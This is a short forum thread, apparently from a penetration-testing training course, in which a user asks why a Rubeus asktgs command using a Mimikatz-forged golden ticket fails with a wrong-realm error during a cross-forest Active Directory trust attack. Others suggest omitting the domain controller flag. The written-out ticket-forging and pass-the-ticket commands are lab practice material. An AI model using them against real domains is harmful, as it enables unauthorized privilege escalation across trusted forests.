Active Directory Trust Attacks - SID Filter Bypass

1

So, in the Academy module they teach how to request a TGS after crafting a TGT via Golden Ticket Attack with Mimikatz using Kekeo.

I was wondering if there is a way to do it with Rubeus.

I’ve tried supplying the Kirbi file provided in Mimikatz and specifying the DC to logistics with the following command but got error:

.\Rubeus.exe asktgs /ticket:ticket.kirbi /service:cifs/SQL02.logistics.ad@LOGISTICS.AD /dc:DC02.logistics.ad /ptt

v2.2.0

[*] Action: Ask TGS

[] Requesting default etypes (RC4_HMAC, AES[128/256]_CTS_HMAC_SHA1) for the service ticket
[] Building TGS-REQ request for: ‘cifs/SQL02.logistics.ad@LOGISTICS.AD’
[*] Using domain controller: DC02.logistics.ad (172.16.118.252)

KRB-ERROR (68) : KDC_ERR_WRONG_REALM

2

Hey! Did you try not specifying the DC? Try running the command without /dc to see if Rubeus can find the DC automatically.
.\Rubeus.exe asktgs /ticket:ticket.kirbi /service:cifs/SQL02.logistics.ad@LOGISTICS.AD /ptt

3

It could also be a version issue.

4

I did. Both returned the same error.

Since it’s a cross-forest attack, I guess not specifying the DC would resort to the current forest/domain DC.

Only Kekeo completed the request.

5

I found some older GitHub comments about this, but it was way to older versions.